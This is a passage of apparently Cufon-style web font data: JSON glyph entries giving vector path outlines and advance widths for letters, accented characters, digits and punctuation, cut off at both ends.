129r-33,0r31,-139v2,-22,-22,-17,-36,-13r3,-11v24,-14,68,-21,69,16v23,-16,33,-30,66,-30v59,0,25,80,17,119","w":212},{"d":"126,-302v-13,-12,6,-35,22,-23v20,15,35,36,53,53r-6,7xm163,-255v59,-3,100,42,97,102v-5,89,-56,154,-145,159v-58,3,-100,-42,-97,-101v4,-92,55,-156,145,-160xm118,-9v73,-5,98,-78,100,-155v1,-43,-18,-80,-59,-77v-70,5,-98,79,-100,154v-1,45,17,81,59,78","w":262},{"d":"63,-58v-7,22,-7,50,24,41v4,-1,8,-1,10,-2r-3,11v-31,20,-81,15,-67,-33v10,-33,18,-64,22,-100v4,-23,-21,-16,-36,-13r2,-11v30,-19,80,-19,67,32xm104,-261v11,0,20,10,20,21v0,12,-8,22,-20,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm42,-261v12,0,20,9,20,21v0,13,-8,23,-20,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21","w":107},{"d":"113,-177v30,-1,50,11,50,36v0,54,-64,60,-116,69v-1,34,11,57,41,57v30,0,42,-15,57,-35r10,8v-15,24,-44,47,-79,47v-42,1,-64,-26,-64,-67v0,-65,37,-112,101,-115xm48,-84v40,-6,84,-15,82,-61v-2,-35,-44,-19,-59,3v-11,16,-20,35,-23,58xm86,-237v-15,-7,-13,-34,5,-33v22,1,25,24,34,38r19,31r-7,6","w":169},{"d":"288,-249r-184,249r-23,0r183,-249r24,0xm59,-236v25,1,44,-7,57,-18r13,0r-34,144v-1,13,18,11,29,12r-3,12r-96,0r3,-12v15,-2,33,2,37,-14r26,-112r-35,0xm235,-124v3,-51,123,-67,123,-5v0,70,-82,69,-120,104r109,0r-5,25r-133,0v14,-68,112,-54,117,-131v2,-29,-42,-32,-56,-15v3,20,0,37,-22,35v-10,1,-13,-5,-13,-13","w":377},{"d":"211,-87r-80,0r0,79r-22,0r0,-79r-79,0r0,-22r79,0r0,-80r22,0r0,80r80,0r0,22"},{"d":"163,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm87,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21","w":180},{"d":"200,-326v11,0,21,10,21,22v0,12,-10,22,-21,22v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm121,-326v26,1,27,43,0,44v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm154,-101r-16,-98r-60,98r76,0xm38,-25v2,11,19,11,32,13r-2,12r-96,0r3,-12v24,-2,37,-13,48,-30r130,-211r14,0r37,227v5,8,14,15,28,14r-3,12r-102,0r3,-12v14,-2,33,0,35,-13r-9,-62r-87,0v-11,20,-25,40,-31,62","w":241},{"d":"181,-318v12,-20,49,-6,32,15v-18,15,-52,25,-77,38r-5,-7v26,-21,30,-26,50,-46xm154,-101r-16,-98r-60,98r76,0xm38,-25v2,11,19,11,32,13r-2,12r-96,0r3,-12v24,-2,37,-13,48,-30r130,-211r14,0r37,227v5,8,14,15,28,14r-3,12r-102,0r3,-12v14,-2,33,0,35,-13r-9,-62r-87,0v-11,20,-25,40,-31,62","w":241},{"d":"172,-147v29,70,-16,152,-95,152v-23,0,-38,-9,-49,-21r-24,22r-8,-8r25,-23v-28,-70,17,-152,94,-152v24,0,39,8,50,21r23,-22r8,9xm111,-165v-50,4,-64,60,-64,117r97,-89v-4,-16,-13,-30,-33,-28xm83,-7v51,0,63,-60,63,-118r-97,89v4,17,14,29,34,29","w":193},{"d":"117,-238v-14,61,-32,93,-52,162r-14,0r21,-156v1,-22,43,-37,45,-6xm48,-44v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24","w":119},{"d":"275,-299r-4,17r-234,0r4,-17r234,0","w":214},{"d":"37,-134v2,-65,150,-89,150,-11v0,43,-34,57,-66,71v28,4,54,16,52,48v-3,60,-48,88,-111,90v-33,1,-62,-16,-65,-43v-3,-27,39,-42,43,-14v1,11,-8,21,-11,29v43,36,107,-3,107,-65v0,-32,-30,-35,-65,-33r4,-20v48,6,73,-24,75,-66v2,-41,-53,-39,-70,-18v2,27,-3,48,-28,48v-12,0,-15,-6,-15,-16","w":198},{"d":"112,-199v56,-4,110,3,108,53v-3,70,-62,94,-141,89r-6,30v-1,16,18,14,32,15r-3,12r-107,0r3,-12v18,0,34,-4,38,-21r43,-188v0,-14,-18,-14,-29,-17r3,-11r105,0r-3,11v-28,-2,-41,14,-43,39xm83,-71v59,4,92,-21,93,-74v1,-36,-29,-43,-67,-40","w":221},{"d":"195,-9v-28,16,-70,18,-72,-16v-19,15,-31,31,-63,29v-68,-5,-18,-94,-14,-143v2,-22,-21,-16,-35,-13r2,-11v28,-18,78,-20,66,32r-20,89v-1,42,54,23,68,2r31,-133v11,1,27,-5,33,1r-31,138v-3,22,22,17,37,14","w":207},{"d":"209,-304v17,0,21,-9,27,-23r11,4v-5,38,-55,55,-87,27v-20,-9,-30,5,-37,21r-11,-4v8,-19,18,-42,44,-43v24,-1,33,18,53,18xm239,-197v9,-32,-13,-38,-34,-41r3,-11r101,0r-3,11v-18,3,-38,6,-43,25v-19,66,-34,145,-52,215r-16,0r-102,-210r-37,170v-2,20,20,24,36,26r-3,12r-102,0r2,-12v37,-2,48,-21,55,-58r30,-139v0,-20,-20,-26,-37,-29r3,-11r72,0r95,195","w":276},{"d":"36,-133v1,-71,153,-88,153,-6v0,82,-114,63,-157,108r140,0r-7,31r-165,0v11,-87,143,-52,152,-143v5,-43,-56,-47,-74,-22v3,25,0,47,-25,47v-11,0,-17,-6,-17,-15","w":201},{"d":"167,-234v-6,-2,-21,-5,-30,-4r3,-11r218,0r-14,60r-13,0v-1,-33,-15,-53,-56,-47r-38,0r-23,100v45,6,69,-11,77,-41r13,0r-23,97r-13,0v8,-38,-18,-47,-57,-43r-20,93v1,19,13,13,36,16v63,8,74,-32,97,-59r12,0r-21,73r-205,0r2,-12v20,0,37,-4,41,-21r16,-73r-83,0v-22,28,-38,40,-55,80v2,11,12,12,27,14r-3,12r-94,0r2,-12v25,-2,39,-15,52,-31xm199,-235r-12,0r-89,114r75,0","w":349},{"d":"21,34v18,1,23,22,28,32v51,-1,69,-48,76,-91v-24,32,-109,47,-100,-17v4,-33,17,-63,21,-97v3,-22,-21,-16,-35,-13r2,-11v29,-19,78,-19,66,32r-20,88v0,44,56,22,70,2r29,-132v10,1,27,-6,33,1v-30,100,-17,250,-142,250v-25,0,-46,-3,-46,-25v0,-10,7,-19,18,-19xm161,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm85,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21","w":201},{"d":"191,-318v12,-21,52,-4,32,15v-17,16,-52,25,-76,38r-5,-7xm235,-200v8,-29,-13,-36,-34,-38r2,-11r102,0r-2,11v-22,2,-38,6,-45,27v-29,89,-18,219,-142,217v-49,0,-87,-24,-77,-72r35,-154v-1,-13,-16,-17,-28,-18r3,-11r104,0r-3,11v-18,2,-36,5,-39,22v-10,54,-29,104,-34,160v-5,56,84,51,108,21v33,-41,35,-106,50,-165","w":272},{"d":"241,-217v12,16,19,38,19,64v0,90,-56,159,-145,159v-32,0,-57,-13,-72,-30r-30,30r-8,-9r31,-30v-11,-16,-18,-36,-18,-62v5,-92,55,-155,145,-160v31,-2,54,12,70,28r24,-24r10,9xm159,-241v-78,0,-106,96,-98,183r150,-148v-9,-21,-24,-35,-52,-35xm118,-9v80,-6,107,-97,98,-184r-151,148v8,21,25,38,53,36","w":267},{"d":"176,-119v-22,11,-55,17,-59,-11v-15,9,-23,23,-46,22v-29,0,-45,-24,-45,-55v2,-61,58,-111,120,-84v9,-1,21,-8,29,-4r-28,111v-2,18,21,15,32,10xm58,-163v-5,45,43,45,60,18v5,-28,20,-54,19,-84v0,-11,-11,-15,-23,-15v-38,0,-51,41,-56,81","w":180},{"d":"174,-261v84,0,156,71,156,155v0,84,-72,155,-156,155v-84,0,-155,-71,-155,-155v0,-84,71,-155,155,-155xm174,34v74,0,138,-65,138,-140v0,-75,-64,-140,-138,-140v-74,0,-138,65,-138,140v0,75,64,140,138,140xm185,-36v28,0,40,-15,51,-39r10,4v-11,28,-30,51,-69,51v-54,-1,-85,-30,-86,-84v-1,-67,70,-107,130,-77v4,-5,6,-13,18,-11r1,64r-9,0v-9,-26,-19,-51,-55,-51v-33,1,-48,34,-48,73v0,39,22,70,57,70","w":339},{"d":"220,-271r-9,6r-41,-37r-56,37r-9,-6r58,-55v7,-4,24,-2,25,5xm163,-255v59,-3,100,42,97,102v-5,89,-56,154,-145,159v-58,3,-100,-42,-97,-101v4,-92,55,-156,145,-160xm118,-9v73,-5,98,-78,100,-155v1,-43,-18,-80,-59,-77v-70,5,-98,79,-100,154v-1,45,17,81,59,78","w":262},{"d":"120,-192v13,0,23,10,23,22v0,12,-11,23,-23,23v-12,0,-22,-10,-22,-23v0,-12,9,-23,22,-22xm211,-87r-181,0r0,-22r181,0r0,22xm120,-50v12,0,23,11,23,23v0,12,-10,22,-23,22v-12,0,-23,-9,-22,-22v0,-13,10,-23,22,-23"},{"d":"165,-100v19,1,27,-17,34,-31r14,5v-10,24,-27,52,-60,52v-32,0,-48,-24,-78,-24v-19,0,-26,16,-34,31r-14,-5v10,-24,28,-51,60,-52v34,-1,47,22,78,24"},{"d":"154,-101r-16,-98r-60,98r76,0xm208,-296v0,23,-17,42,-40,45r36,225v5,8,14,15,28,14r-3,12r-102,0r3,-12v14,-2,33,0,35,-13r-9,-62r-87,0v-11,20,-25,40,-31,62v2,11,19,11,32,13r-2,12r-96,0r3,-12v24,-2,37,-13,48,-30r129,-208v-20,-1,-34,-12,-36,-32v-4,-48,92,-67,92,-14xm157,-261v28,3,42,-54,10,-57v-28,-4,-42,55,-10,57","w":241},{"d":"52,-122v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24","w":100},{"d":"195,-326v26,1,27,43,0,44v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm116,-326v25,0,26,44,0,44v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm78,-214v7,-19,-16,-23,-30,-24r3,-11r193,0r-14,60r-13,0v-1,-33,-16,-53,-56,-47r-40,0r-23,100v45,5,71,-10,78,-41r13,0r-22,97v-8,1,-17,2,-12,-10v4,-35,-27,-34,-60,-33v-6,32,-16,59,-20,93v2,18,13,13,37,16v65,7,75,-31,98,-59r12,0r-21,73r-208,0r3,-12v20,0,37,-4,41,-21","w":235},{"d":"213,-271r-9,6r-41,-37r-56,37r-8,-6r58,-55v7,-4,23,-2,24,5xm154,-101r-16,-98r-60,98r76,0xm38,-25v2,11,19,11,32,13r-2,12r-96,0r3,-12v24,-2,37,-13,48,-30r130,-211r14,0r37,227v5,8,14,15,28,14r-3,12r-102,0r3,-12v14,-2,33,0,35,-13r-9,-62r-87,0v-11,20,-25,40,-31,62","w":241},{"d":"205,32r-4,17r-233,0r4,-17r233,0"},{"d":"174,-261v84,0,156,71,156,155v0,84,-72,155,-156,155v-84,0,-155,-71,-155,-155v0,-84,71,-155,155,-155xm174,34v74,0,138,-65,138,-140v0,-75,-64,-140,-138,-140v-74,0,-138,65,-138,140v0,75,64,140,138,140xm240,-150v0,29,-16,39,-41,46r51,61v7,4,16,6,26,7r0,11r-51,0r-54,-72r-18,0v3,26,-13,66,25,61r0,11r-78,0v-6,-21,28,-4,24,-25r0,-113v2,-15,-14,-13,-24,-16r0,-10v55,4,140,-17,140,39xm153,-110v55,16,79,-67,20,-66r-20,0r0,66","w":339},{"d":"149,-239v18,0,22,-9,27,-24r11,4v-5,39,-55,56,-87,28v-20,-9,-30,6,-37,21r-10,-5v8,-19,18,-42,44,-42v24,0,32,18,52,18xm115,-177v41,-2,69,28,67,69v-3,65,-37,112,-105,113v-39,1,-66,-29,-65,-69v3,-66,37,-110,103,-113xm83,-7v48,0,61,-56,63,-108v0,-30,-10,-50,-35,-50v-48,0,-62,55,-63,107v-1,30,8,51,35,51","w":193},{"d":"18,-94v-4,-114,106,-196,209,-143v5,-7,9,-15,24,-12r-19,89r-15,0v2,-47,-11,-84,-56,-81v-70,4,-102,69,-102,144v0,45,25,84,68,84v40,0,67,-28,83,-57r13,7v-26,43,-54,69,-112,69v-59,0,-92,-39,-93,-100"},{"d":"166,-271r-8,6r-42,-37r-56,37r-8,-6r58,-55v7,-4,24,-3,24,5xm79,-214v6,-19,-17,-22,-32,-24r3,-11r112,0r-3,11v-19,3,-38,3,-42,22r-43,188v-1,15,21,13,33,16r-2,12r-113,0r3,-12v19,0,38,-4,42,-20","w":140},{"d":"79,-214v6,-19,-17,-22,-32,-24r3,-11r112,0r-3,11v-19,3,-38,3,-42,22r-43,188v-1,15,21,13,33,16r-2,12r-113,0r3,-12v19,0,38,-4,42,-20xm151,-325v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm75,-325v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-20,-10,-20,-22v0,-11,9,-21,20,-21","w":140},{"d":"143,-295v-19,-5,-18,-34,3,-33v28,10,40,38,62,56r-6,7xm235,-200v8,-29,-13,-36,-34,-38r2,-11r102,0r-2,11v-22,2,-38,6,-45,27v-29,89,-18,219,-142,217v-49,0,-87,-24,-77,-72r35,-154v-1,-13,-16,-17,-28,-18r3,-11r104,0r-3,11v-18,2,-36,5,-39,22v-10,54,-29,104,-34,160v-5,56,84,51,108,21v33,-41,35,-106,50,-165","w":272},{"d":"95,58v-106,-13,-84,-190,-35,-258v28,-40,60,-64,100,-69r-3,14v-75,24,-105,118,-105,216v0,43,11,78,46,84","w":135},{"d":"175,-202r-9,5r-39,-48r-58,48r-9,-5r60,-67v6,-3,23,-3,24,5xm195,-9v-28,16,-70,18,-72,-16v-19,15,-31,31,-63,29v-68,-5,-18,-94,-14,-143v2,-22,-21,-16,-35,-13r2,-11v28,-18,78,-20,66,32r-20,89v-1,42,54,23,68,2r31,-133v11,1,27,-5,33,1r-31,138v-3,22,22,17,37,14","w":207},{"d":"63,-58v-7,22,-7,50,24,41v4,-1,8,-1,10,-2r-3,11v-31,20,-81,15,-67,-33v10,-33,18,-64,22,-100v4,-23,-21,-16,-36,-13r2,-11v30,-19,80,-19,67,32xm79,-255v8,-23,50,-16,35,9v-23,20,-37,27,-67,51r-7,-6","w":107},{"d":"73,-302v-13,-13,7,-36,23,-23v19,15,34,36,52,53r-6,7xm79,-214v6,-19,-17,-22,-32,-24r3,-11r112,0r-3,11v-19,3,-38,3,-42,22r-43,188v-1,15,21,13,33,16r-2,12r-113,0r3,-12v19,0,38,-4,42,-20","w":140},{"d":"197,-156r-63,64r34,65r-11,6v-18,-24,-44,-41,-58,-69v1,-8,6,-12,12,-17r79,-58xm129,-156r-63,64r33,65r-10,6v-18,-24,-44,-41,-58,-69v1,-8,6,-12,12,-17r79,-58","w":209},{"d":"125,-318v7,-13,35,-15,36,2v-8,33,-54,31,-81,51r-5,-7xm79,-214v6,-19,-17,-22,-32,-24r3,-11r112,0r-3,11v-19,3,-38,3,-42,22r-43,188v-1,15,21,13,33,16r-2,12r-113,0r3,-12v19,0,38,-4,42,-20","w":140},{"d":"83,75r-22,0r0,-343r22,0r0,343","w":135},{"d":"63,-226v7,-23,-5,-32,-27,-31r2,-11r66,-4v-11,79,-41,156,-52,238v-3,22,24,19,40,15r-3,11v-31,20,-81,17,-69,-33","w":102},{"d":"61,-59v-15,32,9,53,44,38r-3,13v-28,16,-91,23,-79,-30r27,-118r-31,0r4,-16r32,0r12,-51r32,0r-12,51r49,0r-4,16r-49,0","w":124},{"d":"154,-101r-16,-98r-60,98r76,0xm38,-25v2,11,19,11,32,13r-2,12r-96,0r3,-12v24,-2,37,-13,48,-30r130,-211r14,0r37,227v5,8,14,15,28,14r-3,12r-102,0r3,-12v14,-2,33,0,35,-13r-9,-62r-87,0v-11,20,-25,40,-31,62","w":241},{"d":"273,-58v-8,26,-1,53,33,38r-2,11v-32,19,-83,17,-68,-33v9,-29,18,-57,22,-89v3,-26,-25,-30,-45,-20v-8,4,-16,11,-25,21r-31,130r-33,0r31,-132v-5,-41,-57,-21,-73,3r-30,129r-33,0r31,-139v2,-22,-22,-17,-36,-13r3,-11v24,-14,68,-21,69,16v24,-17,33,-29,66,-30v20,-1,33,15,37,31v23,-17,35,-31,68,-31v59,0,28,82,16,119","w":316},{"d":"209,-120r-178,0r0,-22r178,0r0,22xm209,-55r-178,0r0,-22r178,0r0,22"},{"d":"122,-194v73,-4,87,83,60,143v-28,62,-81,106,-159,116r0,-17v67,-10,103,-46,124,-101v-39,39,-131,28,-126,-40v4,-59,41,-98,101,-101xm59,-96v-4,53,64,58,92,26v12,-33,14,-113,-32,-111v-43,2,-57,43,-60,85","w":203},{"d":"83,-174v13,0,26,11,25,24v0,13,-12,24,-25,24v-13,0,-24,-12,-24,-24v-1,-13,11,-24,24,-24xm57,-44v43,3,19,66,0,78v-12,12,-26,21,-41,28r-5,-12v21,-12,42,-25,49,-50v-17,2,-29,-5,-29,-20v0,-13,11,-25,26,-24","w":138},{"d":"83,-174v13,0,26,11,25,24v0,13,-12,24,-25,24v-13,0,-24,-12,-24,-24v-1,-13,11,-24,24,-24xm54,-44v13,0,25,12,25,24v0,13,-12,24,-25,24v-13,0,-24,-12,-24,-24v0,-12,11,-24,24,-24","w":138},{"d":"101,-146v0,24,18,29,46,31r-5,22v-112,-6,-21,163,-166,152r4,-14v86,3,36,-122,114,-140v9,-5,24,-2,27,-12v-64,-1,-47,-75,-34,-124v1,-22,-19,-24,-38,-26r3,-13v42,0,66,7,66,43v0,28,-17,54,-17,81","w":154},{"d":"113,-177v30,-1,50,11,50,36v0,54,-64,60,-116,69v-1,34,11,57,41,57v30,0,42,-15,57,-35r10,8v-15,24,-44,47,-79,47v-42,1,-64,-26,-64,-67v0,-65,37,-112,101,-115xm48,-84v40,-6,84,-15,82,-61v-2,-35,-44,-19,-59,3v-11,16,-20,35,-23,58","w":169},{"d":"118,-170v4,-46,-12,-113,38,-94v12,29,-21,60,-28,94r-10,0xm52,-170v4,-46,-12,-113,38,-94v12,29,-21,60,-28,94r-10,0","w":148},{"d":"239,-197v9,-32,-13,-38,-34,-41r3,-11r101,0r-3,11v-18,3,-38,6,-43,25v-19,66,-34,145,-52,215r-16,0r-102,-210r-37,170v-2,20,20,24,36,26r-3,12r-102,0r2,-12v37,-2,48,-21,55,-58r30,-139v0,-20,-20,-26,-37,-29r3,-11r72,0r95,195","w":276},{"d":"213,-271r-9,6r-41,-37r-56,37r-9,-6r58,-55v7,-4,24,-2,25,5xm78,-214v7,-19,-16,-23,-30,-24r3,-11r193,0r-14,60r-13,0v-1,-33,-16,-53,-56,-47r-40,0r-23,100v45,5,71,-10,78,-41r13,0r-22,97v-8,1,-17,2,-12,-10v4,-35,-27,-34,-60,-33v-6,32,-16,59,-20,93v2,18,13,13,37,16v65,7,75,-31,98,-59r12,0r-21,73r-208,0r3,-12v20,0,37,-4,41,-21","w":235},{"d":"115,-177v41,-2,69,28,67,69v-3,65,-37,112,-105,113v-39,1,-66,-29,-65,-69v3,-66,37,-110,103,-113xm83,-7v48,0,61,-56,63,-108v0,-30,-10,-50,-35,-50v-48,0,-62,55,-63,107v-1,30,8,51,35,51xm94,-237v-15,-7,-13,-34,5,-33v22,1,25,24,34,38r19,31r-7,6","w":193},{"d":"125,-109r-6,27r-105,0r6,-27r105,0","w":134},{"d":"121,-255v8,-23,50,-16,35,9v-23,20,-37,27,-67,51r-7,-6","w":180},{"d":"54,-249v66,6,171,-23,174,44v2,48,-40,58,-73,72v31,5,62,17,62,53v0,96,-123,79,-222,80r3,-12v19,0,36,-5,39,-21r42,-188v0,-14,-17,-15,-28,-17xm98,-139v55,4,88,-16,88,-65v0,-31,-30,-34,-65,-32xm107,-13v68,0,99,-114,19,-112r-31,1r-21,94v1,14,16,17,33,17","w":235},{"d":"18,-95v0,-119,116,-194,219,-142v5,-7,9,-15,24,-12r-19,87r-14,0v-2,-46,-15,-82,-64,-79v-73,5,-99,70,-105,148v-5,68,63,107,114,69v6,-18,12,-36,14,-59v2,-18,-23,-15,-36,-18r2,-11r110,0r-3,11v-46,-1,-42,50,-51,85v-72,39,-191,27,-191,-79","w":261},{"d":"78,-214v7,-19,-16,-23,-30,-24r3,-11r193,0r-14,60r-13,0v-1,-33,-16,-53,-56,-47r-40,0r-23,100v45,5,71,-10,78,-41r13,0r-22,97v-8,1,-17,2,-12,-10v4,-35,-27,-34,-60,-33v-6,32,-16,59,-20,93v2,18,13,13,37,16v65,7,75,-31,98,-59r12,0r-21,73r-208,0r3,-12v20,0,37,-4,41,-21","w":235},{"d":"79,-214v6,-19,-17,-22,-32,-24r3,-11r112,0r-3,11v-19,3,-38,3,-42,22r-43,188v-1,15,21,13,33,16r-2,12r-113,0r3,-12v19,0,38,-4,42,-20","w":140},{"d":"162,-113v-28,0,-15,-29,-8,-41v-2,-6,-16,-10,-23,-12r-34,150v37,1,50,-11,68,-34r10,7v-18,25,-42,46,-83,47r-11,49r-16,0r12,-50v-69,-3,-69,-102,-31,-144v17,-19,39,-36,73,-37r10,-46r16,0r-11,46v25,1,48,15,49,37v1,13,-7,28,-21,28xm116,-166v-48,9,-74,75,-54,128v4,9,11,15,20,19","w":199},{"d":"77,-46v-16,38,25,36,60,31v27,-3,25,-15,43,-32v14,-13,10,-29,33,-27r-22,74r-195,0r2,-12v19,0,35,-4,39,-21r42,-187v1,-14,-19,-15,-29,-18r3,-11r105,0r-2,11v-18,3,-36,5,-40,23","w":217},{"d":"112,-196v25,1,58,-24,65,3v-6,26,-43,1,-65,3v11,18,30,26,37,47v0,6,-7,12,-13,12v-22,-8,-15,-32,-29,-56v-14,22,-6,48,-28,56v-6,0,-14,-5,-13,-12v5,-21,25,-28,36,-47v-23,-3,-59,23,-65,-3v7,-27,41,-1,65,-3v-10,-18,-31,-28,-36,-48v-1,-6,8,-12,13,-12v21,5,16,39,28,57v14,-20,7,-51,29,-57v5,0,14,6,13,12v-5,20,-23,26,-37,48","w":169},{"d":"83,-174v13,0,26,11,25,24v0,13,-12,24,-25,24v-13,0,-24,-12,-24,-24v-1,-13,11,-24,24,-24xm57,-44v43,3,19,66,0,78v-12,12,-26,21,-41,28r-5,-12v21,-12,42,-25,49,-50v-17,2,-29,-5,-29,-20v0,-13,11,-25,26,-24","w":138},{"d":"163,-267r-3,15r-63,0r-67,291r62,0r-3,15r-94,0r74,-321r94,0","w":135},{"d":"89,-256v13,0,25,12,25,24v0,13,-12,24,-25,24v-13,0,-24,-12,-24,-24v0,-12,11,-24,24,-24xm20,-14v12,-58,35,-101,53,-162r14,0r-21,156v-1,24,-44,35,-46,6","w":119},{"d":"201,-4r-163,-84r0,-20r163,-85r0,24r-135,71r135,70r0,24"},{"d":"52,-213v2,-48,119,-62,119,-7v0,28,-25,36,-46,47v19,3,38,10,38,33v0,38,-42,60,-84,60v-27,0,-50,-11,-52,-31v-2,-19,32,-33,35,-9v1,6,-5,15,-7,18v27,25,78,-1,75,-40v-2,-22,-26,-23,-51,-22r4,-16v34,3,54,-12,54,-42v0,-27,-40,-25,-51,-10v2,17,-1,32,-21,31v-7,0,-13,-5,-13,-12","w":180},{"d":"117,-295v-19,-5,-19,-35,3,-33v29,10,39,39,61,56r-6,7xm78,-214v7,-19,-16,-23,-30,-24r3,-11r193,0r-14,60r-13,0v-1,-33,-16,-53,-56,-47r-40,0r-23,100v45,5,71,-10,78,-41r13,0r-22,97v-8,1,-17,2,-12,-10v4,-35,-27,-34,-60,-33v-6,32,-16,59,-20,93v2,18,13,13,37,16v65,7,75,-31,98,-59r12,0r-21,73r-208,0r3,-12v20,0,37,-4,41,-21","w":235},{"w":86},{"d":"234,-202v0,51,-37,70,-79,81v28,37,29,102,86,109r-3,12r-63,0v-18,-46,-35,-75,-56,-114r-26,0r-20,87v-1,15,17,14,31,15r-3,12r-106,0r3,-12v19,0,35,-4,39,-21r42,-189v2,-15,-18,-14,-29,-16r3,-11v70,5,181,-23,181,47xm96,-128v55,7,94,-22,95,-70v1,-35,-32,-41,-70,-38","w":252},{"d":"207,-131r-40,0r-17,44r46,0r-5,22r-49,0r-24,65r-20,0r25,-65r-39,0r-24,65r-20,0r25,-65r-38,0r5,-22r41,0r17,-44r-46,0r5,-22r49,0r24,-63r19,0r-24,63r38,0r24,-63r20,0r-24,63r37,0xm148,-131r-39,0r-17,45r39,0"},{"d":"130,-177v37,0,57,28,57,67v0,76,-72,141,-142,102v-5,28,-32,78,18,75r-2,11r-97,0r2,-11v17,-1,30,-4,33,-19r65,-287v1,-17,-14,-17,-29,-18r2,-11r66,-4v-3,39,-18,80,-25,119v12,-11,31,-24,52,-24xm85,-8v46,-6,61,-49,65,-101v4,-53,-50,-63,-76,-26r-23,100v2,14,16,28,34,27","w":198},{"d":"194,-38r-6,22r-36,0r-19,80r-34,0r19,-80r-113,0r7,-29r156,-148r24,0r-35,155r37,0xm150,-154r-123,116r96,0","w":203},{"d":"17,-165v30,-19,82,-19,68,32v-24,84,-22,201,-116,211v-31,3,-41,-40,-12,-40v16,0,22,15,28,26v52,-32,51,-133,67,-205v5,-23,-24,-16,-38,-12xm88,-266v14,0,23,10,23,22v0,13,-10,25,-23,25v-12,0,-22,-12,-22,-23v0,-11,10,-24,22,-24","w":104},{"d":"208,-230v-3,-6,-12,-7,-23,-8r2,-11r94,0v-1,21,-36,10,-47,26r-99,86r69,111v8,9,18,14,34,14r-3,12r-64,0v-19,-41,-42,-81,-67,-118r-10,0v-6,31,-16,57,-20,90v-2,14,18,13,28,16r-2,12r-104,0r3,-12v18,-1,33,-4,37,-20r43,-188v1,-15,-17,-14,-28,-18r3,-11r103,0r-2,11v-18,2,-36,4,-39,22r-20,89v43,-26,87,-62,112,-103","w":249},{"d":"163,-255v59,-3,99,42,97,102v-3,79,-46,132,-109,153v-10,42,29,60,69,46r-3,13v-46,17,-120,12,-106,-53v-56,-1,-95,-43,-93,-101v4,-92,55,-156,145,-160xm118,-9v73,-5,98,-78,100,-155v1,-43,-18,-80,-59,-77v-70,5,-98,79,-100,154v-1,45,17,81,59,78","w":262},{"d":"290,-249r-184,249r-24,0r184,-249r24,0xm342,-56r-4,18r-28,0r-9,42r-29,0r9,-42r-87,0r5,-21r121,-110r20,0r-26,113r28,0xm303,-135r-86,79r68,0xm59,-236v25,1,44,-7,57,-18r13,0r-34,144v-1,13,18,11,29,12r-3,12r-96,0r3,-12v15,-2,33,2,37,-14r26,-112r-35,0","w":377},{"d":"51,-181v-5,-75,161,-112,161,-21v0,36,-28,58,-59,71v25,12,44,26,44,56v0,47,-54,81,-106,81v-41,0,-74,-20,-74,-58v0,-45,28,-61,68,-76v-19,-13,-32,-28,-34,-53xm142,-137v35,-12,59,-104,-1,-106v-41,-2,-75,51,-42,82v9,8,24,16,43,24xm98,-7v48,0,87,-58,47,-89v-13,-10,-30,-19,-48,-26v-50,11,-68,115,1,115","w":214},{"d":"125,-109r-6,27r-105,0r6,-27r105,0","w":134},{"d":"137,-194v45,-2,75,30,75,71v0,75,-46,126,-120,129v-44,2,-75,-29,-75,-71v0,-74,46,-126,120,-129xm95,-8v58,-2,76,-64,79,-122v1,-31,-13,-51,-40,-51v-57,0,-76,65,-79,123v-2,29,12,51,40,50","w":220},{"d":"133,-160v35,-1,61,29,59,64v-3,61,-40,100,-101,102v-105,3,-74,-156,-23,-201v30,-27,72,-55,121,-61r0,17v-64,7,-103,52,-123,104v20,-15,38,-24,67,-25xm95,-7v35,-1,60,-44,60,-84v0,-57,-64,-60,-93,-27v-11,37,-15,113,33,111","w":203},{"d":"111,-255v71,-5,84,85,39,122v-19,15,-40,25,-69,29r-9,38r-16,0r14,-67v43,-4,74,-22,74,-70v0,-36,-36,-48,-61,-32v2,25,-3,42,-26,42v-9,0,-14,-7,-15,-15v5,-31,33,-45,69,-47xm57,-44v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24","w":172},{"d":"209,-13r-23,0r0,-80r-156,0r0,-22r179,0r0,102"},{"d":"130,-255v13,0,24,10,24,23v0,13,-12,25,-24,25v-13,0,-24,-12,-24,-25v0,-13,12,-23,24,-23xm104,-17v-6,-29,15,-52,37,-37v13,35,-28,56,-65,58v-70,5,-85,-85,-40,-122v19,-15,41,-26,70,-30r9,-37r16,0r-14,66v-42,4,-74,23,-74,70v0,36,37,49,61,32","w":172},{"d":"107,-255v31,-1,48,19,48,49v0,43,-31,81,-73,81v-30,0,-50,-19,-49,-49v2,-47,27,-79,74,-81xm84,-137v27,0,43,-40,43,-73v0,-17,-7,-34,-23,-34v-28,0,-43,40,-42,74v-1,17,6,33,22,33xm225,-125v30,-1,49,20,49,50v1,42,-32,80,-74,80v-30,0,-51,-19,-49,-49v3,-45,27,-80,74,-81xm203,-6v28,0,43,-41,42,-74v1,-17,-6,-33,-22,-33v-28,0,-42,39,-42,74v0,17,6,33,22,33xm295,-250r-257,250r-25,0r256,-250r26,0","w":294},{"d":"73,-199v8,-25,-9,-38,-30,-39r3,-11r84,0r27,187r107,-175v3,-6,5,-10,5,-12r84,0r-3,11v-18,2,-36,5,-39,22r-42,188v-1,13,16,15,29,16r-2,12r-110,0r3,-12v21,0,41,-5,44,-22r43,-186r-2,0r-136,216r-9,0r-31,-220r-2,0r-39,171v-8,29,10,39,33,41r-3,12r-100,0r2,-12v38,-1,46,-2